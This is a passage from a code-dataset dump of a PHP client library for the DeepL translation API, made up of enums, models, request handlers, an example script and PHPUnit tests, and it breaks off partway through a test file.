branch_name
stringclasses
149 values
text
stringlengths
23
89.3M
directory_id
stringlengths
40
40
languages
listlengths
1
19
num_files
int64
1
11.8k
repo_language
stringclasses
38 values
repo_name
stringlengths
6
114
revision_id
stringlengths
40
40
snapshot_id
stringlengths
40
40
refs/heads/master
<file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Enum; final class LanguageEnum { public const LANGUAGE_RU = 'RU'; public const LANGUAGE_PT = 'PT'; public const LANGUAGE_DE = 'DE'; public const LANGUAGE_ES = 'ES'; public const LANGUAGE_NL = 'NL'; public const LANGUAGE_IT = 'IT'; public const LANGUAGE_FR = 'FR'; public const LANGUAGE_PL = 'PL'; public const LANGUAGE_EN = 'EN'; public const LANGUAGE_JA = 'JA'; public const LANGUAGE_ZH = 'ZH'; public const LANGUAGE_BG = 'BG'; public const LANGUAGE_CS = 'CS'; public const LANGUAGE_DA = 'DA'; public const LANGUAGE_EL = 'EL'; public const LANGUAGE_ET = 'ET'; public const LANGUAGE_FI = 'FI'; public const LANGUAGE_HU = 'HU'; public const LANGUAGE_LT = 'LT'; public const LANGUAGE_LV = 'LV'; public const LANGUAGE_RO = 'RO'; public const LANGUAGE_SK = 'SK'; public const LANGUAGE_SL = 'SL'; public const LANGUAGE_SV = 'SV'; public const LANGUAGE_TR = 'TR'; public const LANGUAGE_ID = 'ID'; public const LANGUAGE_UK = 'UK'; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use Http\Message\MultipartStream\MultipartStreamBuilder; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\Model\FileTranslationConfigInterface; final class DeeplFileSubmissionRequestHandler implements DeeplRequestHandlerInterface { public const API_ENDPOINT = '/v2/document'; private string $authKey; private FileTranslationConfigInterface $fileTranslation; private MultipartStreamBuilder $multipartStreamBuilder; public function __construct( string $authKey, FileTranslationConfigInterface $fileTranslation, MultipartStreamBuilder $multipartStreamBuilder ) { $this->authKey = $authKey; $this->fileTranslation = $fileTranslation; $this->multipartStreamBuilder = $multipartStreamBuilder; } public function getMethod(): string { return DeeplRequestHandlerInterface::METHOD_POST; } public function getPath(): string { return static::API_ENDPOINT; } public function getBody(): StreamInterface { $streamBuilder = $this->multipartStreamBuilder ->setBoundary('boundary') ->addResource('auth_key', $this->authKey) ->addResource('file', $this->fileTranslation->getFileContent(), ['filename' => $this->fileTranslation->getFileName()]) ->addResource('target_lang', $this->fileTranslation->getTargetLang()); // add sourceLanguage only if set, otherwise the file won't be translated #26 $sourceLanguage = $this->fileTranslation->getSourceLang(); if ($sourceLanguage !== '') { $streamBuilder = $streamBuilder->addResource('source_lang', $sourceLanguage); } return $streamBuilder->build(); } public function getContentType(): string { return 'multipart/form-data;boundary="boundary"'; } } <file_sep><?php namespace Scn\DeeplApiConnector\Model; interface FileTranslationInterface { public function getContent(): string; public function setContent(string $content): FileTranslationInterface; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\TestCase; class FileTranslationTest extends TestCase { /** * @var FileTranslation */ private $subject; public function setUp(): void { $this->subject = new FileTranslation(); } public function testGetContentCanReturnString(): void { $this->subject->setContent('some content'); $this->assertSame( 'some content', $this->subject->getContent() ); } } <file_sep><?php namespace Scn\DeeplApiConnector\Model; interface TranslationConfigInterface { public function getText(): string; public function setText(string $text): TranslationConfigInterface; public function getTargetLang(): string; public function setTargetLang(string $targetLang): TranslationConfigInterface; public function getSourceLang(): string; public function setSourceLang(string $sourceLang): TranslationConfigInterface; /** * @return array<int, string> */ public function getTagHandling(): array; /** * @param array<int, string> $tagHandling */ public function setTagHandling(array $tagHandling): TranslationConfigInterface; /** * @return array<int, string> */ public function getNonSplittingTags(): array; /** * @param array<int, string> $nonSplittingTags */ public function setNonSplittingTags(array $nonSplittingTags): TranslationConfigInterface; /** * @return array<int, string> */ public function getIgnoreTags(): array; /** * @param array<int, string> $ignoreTags */ public function setIgnoreTags(array $ignoreTags): TranslationConfigInterface; public function getSplitSentences(): string; public function setSplitSentences(string $splitSentences): TranslationConfigInterface; public function getPreserveFormatting(): string; public function setPreserveFormatting(string $preserveFormatting): TranslationConfigInterface; } <file_sep><?php $config = new PhpCsFixer\Config(); $config->getFinder() ->exclude('vendor') ->in(__DIR__); $config->setRules([ '@PSR2' => true, 'no_unused_imports' => true, ]); return $config; <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use stdClass; final class BatchTranslation extends AbstractResponseModel implements BatchTranslationInterface { /** @var array<stdClass> */ private array $translations = []; public function hydrate(stdClass $responseModel): ResponseModelInterface { $this->translations = $responseModel->translations; return $this; } public function getTranslations(): array { return array_map( fn (stdClass $item): array => [ 'text' => (string) $item->text, 'detected_source_language' => (string) $item->detected_source_language, ], $this->translations ); } public function setTranslations(array $texts): BatchTranslationInterface { $this->translations = $texts; return $this; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use stdClass; final class SupportedLanguages extends AbstractResponseModel implements SupportedLanguagesInterfaces { /** @var array<stdClass> */ private array $languages; public function hydrate(stdClass $responseModel): ResponseModelInterface { $this->languages = $responseModel->content; return $this; } /** * @return array<array{ * language_code: string, * name: string, * supports_formality: bool * }> */ public function getLanguages(): array { return array_map( fn (stdClass $item): array => [ 'language_code' => $item->language, 'name' => $item->name, 'supports_formality' => $item->supports_formality, ], $this->languages ); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\TestCase; class FileSubmissionTest extends TestCase { /** * @var FileSubmission */ private $subject; public function setUp(): void { $this->subject = new FileSubmission(); } public function testGetDocumentIdCanReturnString(): void { $value = 'some value'; $this->assertSame( $value, $this->subject->setDocumentId($value)->getDocumentId() ); } public function testGetDocumentKeyCanReturnString(): void { $value = 'some value'; $this->assertSame( $value, $this->subject->setDocumentKey($value)->getDocumentKey() ); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\Enum\TextHandlingEnum; use Scn\DeeplApiConnector\TestCase; class BatchTranslationConfigTest extends TestCase { private BatchTranslationConfig $subject; protected function setUp(): void { $this->subject = new BatchTranslationConfig( ['some text'], 'some target language' ); } public function testGetNonSplittingTagsCanReturnString(): void { $this->subject->setNonSplittingTags(['some', 'splitting', 'tags']); static::assertContains('some', $this->subject->getNonSplittingTags()); static::assertContains('splitting', $this->subject->getNonSplittingTags()); static::assertContains('tags', $this->subject->getNonSplittingTags()); } public function testGetIgnoreTagsCanReturnString(): void { $this->subject->setIgnoreTags(['some', 'ignore', 'tags']); static::assertContains('some', $this->subject->getIgnoreTags()); static::assertContains('ignore', $this->subject->getIgnoreTags()); static::assertContains('tags', $this->subject->getIgnoreTags()); } public function testGetPreserveFormattingCanReturnInteger(): void { $this->subject->setPreserveFormatting(TextHandlingEnum::PRESERVEFORMATTING_ON); static::assertSame('1', $this->subject->getPreserveFormatting()); } public function testGetTargetLangCanReturnString(): void { $this->subject->setTargetLang('some target lang'); static::assertSame('some target lang', $this->subject->getTargetLang()); } public function testGetTagHandlingCanReturnString(): void { $this->subject->setTagHandling(['some', 'tags']); static::assertContains('some', $this->subject->getTagHandling()); static::assertContains('tags', $this->subject->getTagHandling()); } public function testGetTextCanReturnString(): void { $value = ['some text to translate']; $this->subject->setText($value); static::assertSame($value, $this->subject->getText()); } public function testGetSplitSentencesCanReturnInteger(): void { $this->subject->setSplitSentences(TextHandlingEnum::SPLITSENTENCES_NONEWLINES); static::assertSame(TextHandlingEnum::SPLITSENTENCES_NONEWLINES, $this->subject->getSplitSentences()); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Enum; final class FileStatusEnum { public const FILE_TRANSLATION_DONE = 'done'; public const FILE_TRANSLATION_QUEUED = 'queued'; public const FILE_TRANSLATION_TRANSLATING = 'translating'; public const FILE_TRANSLATION_ERROR = 'error'; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use PHPUnit\Framework\MockObject\MockObject; use Psr\Http\Message\StreamFactoryInterface; use Scn\DeeplApiConnector\Model\BatchTranslationConfigInterface; use Scn\DeeplApiConnector\Model\FileSubmissionInterface; use Scn\DeeplApiConnector\Model\FileTranslationConfigInterface; use Scn\DeeplApiConnector\Model\TranslationConfigInterface; use Scn\DeeplApiConnector\TestCase; class DeeplRequestFactoryTest extends TestCase { private DeeplRequestFactory $subject; /** @var StreamFactoryInterface|MockObject */ private $streamFactory; protected function setUp(): void { $this->streamFactory = $this->createMock(StreamFactoryInterface::class); $this->subject = new DeeplRequestFactory( 'some api key', $this->streamFactory ); } public function testCreateDeeplUsageRequestHandlerCanReturnInstanceOfUsageRequestHandler(): void { $this->assertInstanceOf( DeeplUsageRequestHandler::class, $this->subject->createDeeplUsageRequestHandler() ); } public function testCreateDeeplTranslationRequestHandler(): void { $translation = $this->createMock(TranslationConfigInterface::class); $this->assertInstanceOf( DeeplTranslationRequestHandler::class, $this->subject->createDeeplTranslationRequestHandler($translation) ); } public function testCreateDeeplBatchTranslationRequestHandler(): void { $translation = $this->createMock(BatchTranslationConfigInterface::class); $this->assertInstanceOf( DeeplBatchTranslationRequestHandler::class, $this->subject->createDeeplBatchTranslationRequestHandler($translation) ); } public function testCreateDeeplFileSubmissionRequestHandler(): void { $fileTranslation = $this->createMock(FileTranslationConfigInterface::class); $this->assertInstanceOf( DeeplFileSubmissionRequestHandler::class, $this->subject->createDeeplFileSubmissionRequestHandler($fileTranslation) ); } public function testCreateDeeplFileTranslationStatusRequestHandler(): void { $fileSubmission = $this->createMock(FileSubmissionInterface::class); $this->assertInstanceOf( DeeplFileTranslationStatusRequestHandler::class, $this->subject->createDeeplFileTranslationStatusRequestHandler($fileSubmission) ); } public function testCreateDeeplFileTranslationRequestHandler(): void { $fileSubmission = $this->createMock(FileSubmissionInterface::class); $this->assertInstanceOf( DeeplFileRequestHandler::class, $this->subject->createDeeplFileTranslationRequestHandler($fileSubmission) ); } public function testCreateDeeplSupportedLanguageRetrievalRequestHandler(): void { $this->assertInstanceOf( DeeplSupportedLanguageRetrievalRequestHandler::class, $this->subject->createDeeplSupportedLanguageRetrievalRequestHandler() ); } public function testGetDeeplBaseUriCanReturnPaidBaseUri(): void { $this->assertSame(DeeplRequestFactory::DEEPL_PAID_BASE_URI, $this->subject->getDeeplBaseUri()); } public function testGetDeeplFreeUriCanReturnFreeBaseUri(): void { $this->subject = new DeeplRequestFactory('something:fx', $this->streamFactory); $this->assertSame(DeeplRequestFactory::DEEPL_FREE_BASE_URI, $this->subject->getDeeplBaseUri()); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; final class Translation extends AbstractResponseModel implements TranslationInterface { private string $detectedSourceLanguage; private string $text; public function getDetectedSourceLanguage(): string { return $this->detectedSourceLanguage; } public function setDetectedSourceLanguage(string $detectedSourceLanguage): TranslationInterface { $this->detectedSourceLanguage = $detectedSourceLanguage; return $this; } public function getText(): string { return $this->text; } public function setText(string $text): TranslationInterface { $this->text = $text; return $this; } } <file_sep><?php namespace Scn\DeeplApiConnector; use Scn\DeeplApiConnector\Enum\LanguageEnum; use Scn\DeeplApiConnector\Model\FileSubmissionInterface; use Scn\DeeplApiConnector\Model\FileTranslationConfigInterface; use Scn\DeeplApiConnector\Model\ResponseModelInterface; use Scn\DeeplApiConnector\Model\TranslationConfigInterface; interface DeeplClientInterface { /** * Retrieve usage statistics for the supplied auth key */ public function getUsage(): ResponseModelInterface; /** * Translate a text using an extended config */ public function getTranslation(TranslationConfigInterface $translation): ResponseModelInterface; /** * Simple translate a string * * @param string $target_language Language code of the target language * * @see LanguageEnum */ public function translate(string $text, string $target_language): ResponseModelInterface; /** * Translate the contents of a file * * Invokes an asynchronous file translation, returns a document id for further usage */ public function translateFile(FileTranslationConfigInterface $fileTranslation): ResponseModelInterface; /** * Translate a batch of texts at once * * The order of the texts will be preserved * * @param array<string> $text */ public function translateBatch(array $text, string $targetLanguage): ResponseModelInterface; /** * Checks the state of a file translation job */ public function getFileTranslationStatus(FileSubmissionInterface $fileSubmission): ResponseModelInterface; /** * Retrieve the result of a file translation job */ public function getFileTranslation(FileSubmissionInterface $fileSubmission): ResponseModelInterface; /** * Returns list of supported languages */ public function getSupportedLanguages(): ResponseModelInterface; } <file_sep><?php declare(strict_types=1); require_once __DIR__ . '/../vendor/autoload.php'; use Scn\DeeplApiConnector\DeeplClientFactory; use Scn\DeeplApiConnector\Model\SupportedLanguagesInterfaces; $apiKey = 'your-api-key'; $deepl = DeeplClientFactory::create($apiKey); /** @var SupportedLanguagesInterfaces $result */ $result = $deepl->getSupportedLanguages(); var_dump($result->getLanguages()); <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; final class FileTranslationStatus extends AbstractResponseModel implements FileTranslationStatusInterface { private string $documentId; private string $status; private ?int $secondsRemaining; private int $billedCharacters; public function getDocumentId(): string { return $this->documentId; } public function setDocumentId(string $documentId): FileTranslationStatusInterface { $this->documentId = $documentId; return $this; } public function getStatus(): string { return $this->status; } public function setStatus(string $status): FileTranslationStatusInterface { $this->status = $status; return $this; } public function getSecondsRemaining(): ?int { return $this->secondsRemaining; } public function setSecondsRemaining(?int $secondsRemaining): FileTranslationStatusInterface { $this->secondsRemaining = $secondsRemaining; return $this; } public function getBilledCharacters(): int { return $this->billedCharacters; } public function setBilledCharacters(int $billedCharacters): FileTranslationStatusInterface { $this->billedCharacters = $billedCharacters; return $this; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use PHPUnit\Framework\MockObject\MockObject; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\Model\FileSubmissionInterface; use Scn\DeeplApiConnector\TestCase; class DeeplFileTranslationStatusRequestHandlerTest extends TestCase { /** * @var DeeplFileTranslationStatusRequestHandler */ private $subject; /** @var StreamFactoryInterface|MockObject */ private $streamFactory; /** * @var FileSubmissionInterface|MockObject */ private $fileSubmission; public function setUp(): void { $this->streamFactory = $this->createMock(StreamFactoryInterface::class); $this->fileSubmission = $this->createMock(FileSubmissionInterface::class); $this->subject = new DeeplFileTranslationStatusRequestHandler( 'some key', $this->streamFactory, $this->fileSubmission ); } public function testGetPathCanReturnPath(): void { $this->fileSubmission->expects($this->once()) ->method('getDocumentId') ->willReturn('documentId'); $this->assertSame(sprintf(DeeplFileTranslationStatusRequestHandler::API_ENDPOINT, 'documentId'), $this->subject->getPath()); } public function testGetBodyCanReturnFilteredArray(): void { $stream = $this->createMock(StreamInterface::class); $this->fileSubmission->expects($this->once()) ->method('getDocumentKey') ->willReturn('document key'); $this->streamFactory->expects($this->once()) ->method('createStream') ->with( http_build_query( [ 'auth_key' => 'some key', 'document_key' => 'document key', ] ) ) ->willReturn($stream); $this->assertSame( $stream, $this->subject->getBody() ); } public function testGetMethodCanReturnMethod(): void { $this->assertSame(DeeplRequestHandlerInterface::METHOD_POST, $this->subject->getMethod()); } public function testGetContentTypeReturnsValue(): void { $this->assertSame( 'application/x-www-form-urlencoded', $this->subject->getContentType() ); } } <file_sep># Upgrading ## [3.0.0] - 2022-01-20 ### Breaking - `DeeplClient::create()` was moved into `DeeplClientFactory` <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; final class FileTranslationConfig implements FileTranslationConfigInterface { private string $fileContent; private string $fileName; private string $targetLang; private string $sourceLang; public function __construct( string $fileContent, string $fileName, string $targetLang, string $sourceLang = '' ) { $this->setFileContent($fileContent); $this->setFileName($fileName); $this->setTargetLang($targetLang); $this->setSourceLang($sourceLang); } public function getFileContent(): string { return $this->fileContent; } public function setFileContent(string $fileContent): FileTranslationConfigInterface { $this->fileContent = $fileContent; return $this; } public function getFileName(): string { return $this->fileName; } public function setFileName(string $fileName): FileTranslationConfigInterface { $this->fileName = $fileName; return $this; } public function getTargetLang(): string { return $this->targetLang; } public function setTargetLang(string $targetLang): FileTranslationConfigInterface { $this->targetLang = $targetLang; return $this; } public function getSourceLang(): string { return $this->sourceLang; } public function setSourceLang(string $sourceLang): FileTranslationConfigInterface { $this->sourceLang = $sourceLang; return $this; } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\Enum\LanguageEnum; use Scn\DeeplApiConnector\TestCase; class FileTranslationConfigTest extends TestCase { /** * @var FileTranslationConfig */ private $subject; public function setUp(): void { $this->subject = new FileTranslationConfig( 'abc', 'abc.txt', LanguageEnum::LANGUAGE_EN, LanguageEnum::LANGUAGE_DE ); } public function testGetFileContentCanReturnString(): void { $this->assertSame( 'abc', $this->subject->getFileContent() ); } public function testGetFileNameCanReturnString(): void { $this->assertSame( 'abc.txt', $this->subject->getFileName() ); } public function testGetTargetLangCanReturnString(): void { $this->assertSame( LanguageEnum::LANGUAGE_EN, $this->subject->getTargetLang() ); } public function testGetSourceLangCanReturnString(): void { $this->assertSame( LanguageEnum::LANGUAGE_DE, $this->subject->getSourceLang() ); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\TestCase; class BatchTranslationTest extends TestCase { private BatchTranslation $subject; protected function setUp(): void { $this->subject = new BatchTranslation(); } public function testHydrateCanHydrateUsageStdClass(): void { $text1 = 'some-text'; $text2 = 'some-other-text'; $detected_language = 'klingon'; $response = json_encode([ 'translations' => [ ['text' => $text1, 'detected_source_language' => $detected_language], ['text' => $text2, 'detected_source_language' => $detected_language], ] ]); $this->subject->hydrate(json_decode($response)); static::assertSame( [ ['text' => $text1, 'detected_source_language' => $detected_language], ['text' => $text2, 'detected_source_language' => $detected_language], ], $this->subject->getTranslations() ); } public function testSetTranslationsCanSettArrayOfTextAndCanReturnSelf(): void { $this->assertInstanceOf( BatchTranslationInterface::class, $this->subject->setTranslations(['some', 'thing']) ); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Handler; use PHPUnit\Framework\MockObject\MockObject; use Psr\Http\Message\StreamFactoryInterface; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\TestCase; class DeeplUsageRequestHandlerTest extends TestCase { /** * @var DeeplUsageRequestHandler */ private $subject; /** @var StreamFactoryInterface|MockObject */ private $streamFactory; public function setUp(): void { $this->streamFactory = $this->createMock(StreamFactoryInterface::class); $this->subject = new DeeplUsageRequestHandler( 'some key', $this->streamFactory ); } public function testGetPathCanReturnApiPath(): void { $this->assertSame(DeeplUsageRequestHandler::API_ENDPOINT, $this->subject->getPath()); } public function testGetMethodCanReturnMethod(): void { $this->assertSame(DeeplRequestHandlerInterface::METHOD_GET, $this->subject->getMethod()); } public function testGetBodyCanReturnArray(): void { $stream = $this->createMock(StreamInterface::class); $this->streamFactory->expects($this->once()) ->method('createStream') ->with( http_build_query(['auth_key' => 'some key']) ) ->willReturn($stream); $this->assertSame( $stream, $this->subject->getBody() ); } public function testGetContentTypeReturnsValue(): void { $this->assertSame( 'application/x-www-form-urlencoded', $this->subject->getContentType() ); } } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\Enum\TextHandlingEnum; use Scn\DeeplApiConnector\TestCase; class TranslationConfigTest extends TestCase { /** * @var TranslationConfig */ private $subject; public function setUp(): void { $this->subject = new TranslationConfig( 'some text', 'some target language' ); } public function testGetNonSplittingTagsCanReturnString(): void { $this->subject->setNonSplittingTags(['some', 'splitting', 'tags']); $this->assertContains('some', $this->subject->getNonSplittingTags()); $this->assertContains('splitting', $this->subject->getNonSplittingTags()); $this->assertContains('tags', $this->subject->getNonSplittingTags()); } public function testGetIgnoreTagsCanReturnString(): void { $this->subject->setIgnoreTags(['some', 'ignore', 'tags']); $this->assertContains('some', $this->subject->getIgnoreTags()); $this->assertContains('ignore', $this->subject->getIgnoreTags()); $this->assertContains('tags', $this->subject->getIgnoreTags()); } public function testGetPreserveFormattingCanReturnInteger(): void { $this->subject->setPreserveFormatting(TextHandlingEnum::PRESERVEFORMATTING_ON); $this->assertSame('1', $this->subject->getPreserveFormatting()); } public function testGetTargetLangCanReturnString(): void { $this->subject->setTargetLang('some target lang'); $this->assertSame('some target lang', $this->subject->getTargetLang()); } public function testGetTagHandlingCanReturnString(): void { $this->subject->setTagHandling(['some', 'tags']); $this->assertContains('some', $this->subject->getTagHandling()); $this->assertContains('tags', $this->subject->getTagHandling()); } public function testGetTextCanReturnString(): void { $this->subject->setText('some text to translate'); $this->assertSame('some text to translate', $this->subject->getText()); } public function testGetSourceLangCanReturnString(): void { $this->subject->setSourceLang('some source lang'); $this->assertSame('some source lang', $this->subject->getSourceLang()); } public function testGetSplitSentencesCanReturnInteger(): void { $this->subject->setSplitSentences(TextHandlingEnum::SPLITSENTENCES_NONEWLINES); $this->assertSame(TextHandlingEnum::SPLITSENTENCES_NONEWLINES, $this->subject->getSplitSentences()); } } <file_sep><?php namespace Scn\DeeplApiConnector\Model; interface FileTranslationStatusInterface { public function getDocumentId(): string; public function setDocumentId(string $documentId): FileTranslationStatusInterface; public function getStatus(): string; public function setStatus(string $status): FileTranslationStatusInterface; public function getSecondsRemaining(): ?int; public function setSecondsRemaining(?int $secondsRemaining): FileTranslationStatusInterface; public function getBilledCharacters(): int; public function setBilledCharacters(int $billedCharacters): FileTranslationStatusInterface; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector\Model; use Scn\DeeplApiConnector\TestCase; class SupportedLanguagesTest extends TestCase { private SupportedLanguages $subject; protected function setUp(): void { $this->subject = new SupportedLanguages(); } public function testGetLanguagesReturnHydratedValues(): void { $language = 'some-lang'; $name = 'some language from outer space'; $this->subject->hydrate((object) ['content' => [(object) ['language' => $language, 'name' => $name, 'supports_formality' => true]]]); static::assertSame( [ [ 'language_code' => $language, 'name' => $name, 'supports_formality' => true, ] ], $this->subject->getLanguages() ); } } <file_sep><?php namespace Scn\DeeplApiConnector\Model; interface FileSubmissionInterface { public function getDocumentId(): string; public function setDocumentId(string $documentId): FileSubmissionInterface; public function getDocumentKey(): string; public function setDocumentKey(string $documentKey): FileSubmissionInterface; } <file_sep><?php declare(strict_types=1); namespace Scn\DeeplApiConnector; use Psr\Http\Client\ClientInterface; use GuzzleHttp\Exception\ClientException; use PHPUnit\Framework\MockObject\MockObject; use Psr\Http\Message\RequestFactoryInterface; use Psr\Http\Message\RequestInterface; use Psr\Http\Message\ResponseInterface; use Psr\Http\Message\StreamInterface; use Scn\DeeplApiConnector\Exception\RequestException; use Scn\DeeplApiConnector\Handler\DeeplRequestFactoryInterface; use Scn\DeeplApiConnector\Handler\DeeplRequestHandlerInterface; use Scn\DeeplApiConnector\Model\BatchTranslationInterface; use Scn\DeeplApiConnector\Model\FileSubmissionInterface; use Scn\DeeplApiConnector\Model\FileTranslationConfigInterface; use Scn\DeeplApiConnector\Model\FileTranslationInterface; use Scn\DeeplApiConnector\Model\FileTranslationStatusInterface; use Scn\DeeplApiConnector\Model\SupportedLanguages; use Scn\DeeplApiConnector\Model\TranslationConfigInterface; use Scn\DeeplApiConnector\Model\TranslationInterface; use Scn\DeeplApiConnector\Model\UsageInterface; class DeeplClientTest extends TestCase { /** @var DeeplClient */ private $subject; /** @var ClientInterface|MockObject */ private $httpClient; /** @var DeeplRequestFactoryInterface|MockObject */ private $deeplRequestFactory; /** @var RequestFactoryInterface|MockObject */ private $requestFactory; public function setUp(): void { $this->deeplRequestFactory = $this->createMock(DeeplRequestFactoryInterface::class); $this->httpClient = $this->createMock(ClientInterface::class); $this->requestFactory = $this->createMock(RequestFactoryInterface::class); $this->subject = new DeeplClient( $this->deeplRequestFactory, $this->httpClient, $this->requestFactory ); } public function testGetUsageCanThrowException(): void { $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplUsageRequestHandler') ->willReturn($requestHandler); $clientException = $this->createMock(ClientException::class); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willThrowException($clientException); $this->expectException(RequestException::class); $this->subject->getUsage(); } public function testGetUsageCanReturnUsageModel(): void { $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplUsageRequestHandler') ->willReturn($requestHandler); $json = json_encode(['some string' => 'with value']); $stream = $this->createMock(StreamInterface::class); $stream->expects($this->once()) ->method('getContents') ->willReturn($json); $response = $this->createMock(ResponseInterface::class); $response->expects($this->once()) ->method('getHeader') ->with('Content-Type') ->willReturn(['application/json']); $response->expects($this->once()) ->method('getBody') ->willReturn($stream); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willReturn($response); $this->assertInstanceOf(UsageInterface::class, $this->subject->getUsage()); } public function testGetTranslationCanThrowException(): void { $translation = $this->createMock(TranslationConfigInterface::class); $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplTranslationRequestHandler') ->willReturn($requestHandler); $clientException = $this->createMock(ClientException::class); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willThrowException($clientException); $this->expectException(RequestException::class); $this->subject->getTranslation($translation); } public function testGetTranslationCanReturnTranslationModel(): void { $translation = $this->createMock(TranslationConfigInterface::class); $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplTranslationRequestHandler') ->willReturn($requestHandler); $json = json_encode(['some string' => 'with value']); $stream = $this->createMock(StreamInterface::class); $stream->expects($this->once()) ->method('getContents') ->willReturn($json); $response = $this->createMock(ResponseInterface::class); $response->expects($this->once()) ->method('getHeader') ->with('Content-Type') ->willReturn(['application/json']); $response->expects($this->once()) ->method('getBody') ->willReturn($stream); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willReturn($response); $this->assertInstanceOf(TranslationInterface::class, $this->subject->getTranslation($translation)); } public function testTranslateCanReturnJsonEncodedObject(): void { $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplTranslationRequestHandler') ->willReturn($requestHandler); $json = json_encode(['some string' => 'with value', 'some other string' => ['more text' => 'more values']]); $stream = $this->createMock(StreamInterface::class); $stream->expects($this->once()) ->method('getContents') ->willReturn($json); $response = $this->createMock(ResponseInterface::class); $response->expects($this->once()) ->method('getHeader') ->with('Content-Type') ->willReturn(['application/json']); $response->expects($this->once()) ->method('getBody') ->willReturn($stream); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willReturn($response); $this->assertInstanceOf(TranslationInterface::class, $this->subject->translate('some text', 'some language')); } public function testTranslateBatchPerformsBatchTranslations(): void { $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $stream = $this->createMock(StreamInterface::class); $response = $this->createMock(ResponseInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplBatchTranslationRequestHandler') ->willReturn($requestHandler); $stream->expects($this->once()) ->method('getContents') ->willReturn(json_encode(['translations' => ['content']])); $response->expects($this->once()) ->method('getHeader') ->with('Content-Type') ->willReturn(['application/json']); $response->expects($this->once()) ->method('getBody') ->willReturn($stream); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willReturn($response); $this->assertInstanceOf( BatchTranslationInterface::class, $this->subject->translateBatch(['some text'], 'some language') ); } public function testTranslateFileCanReturnInstanceOfResponseModel(): void { $fileTranslation = $this->createMock(FileTranslationConfigInterface::class); $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplFileSubmissionRequestHandler') ->willReturn($requestHandler); $json = json_encode(['some string' => 'with value']); $stream = $this->createMock(StreamInterface::class); $stream->expects($this->once()) ->method('getContents') ->willReturn($json); $response = $this->createMock(ResponseInterface::class); $response->expects($this->once()) ->method('getHeader') ->with('Content-Type') ->willReturn(['application/json']); $response->expects($this->once()) ->method('getBody') ->willReturn($stream); $request = $this->createRequestExpectations( $requestHandler, 'some method', 'some path' ); $this->httpClient->expects($this->once()) ->method('sendRequest') ->with($request) ->willReturn($response); $this->assertInstanceOf(FileSubmissionInterface::class, $this->subject->translateFile($fileTranslation)); } public function testGetFileTranslationStatusCanReturnInstanceOfResponseModel(): void { $fileSubmission = $this->createMock(FileSubmissionInterface::class); $requestHandler = $this->createMock(DeeplRequestHandlerInterface::class); $requestHandler->method('getMethod') ->willReturn('some method'); $requestHandler->method('getPath') ->willReturn('some path'); $this->deeplRequestFactory->method('createDeeplFileTranslationStatusRequestHandler') ->willReturn($requestHandler); $json = json_encode(['some string' => 'with value']); $stream = $this->createMock(StreamInterface::class); $stream->expects($this->once()) ->method('getContents') ->willReturn($json); $response = $this->createMock(ResponseInterface::class); $response->expects($this->once()) 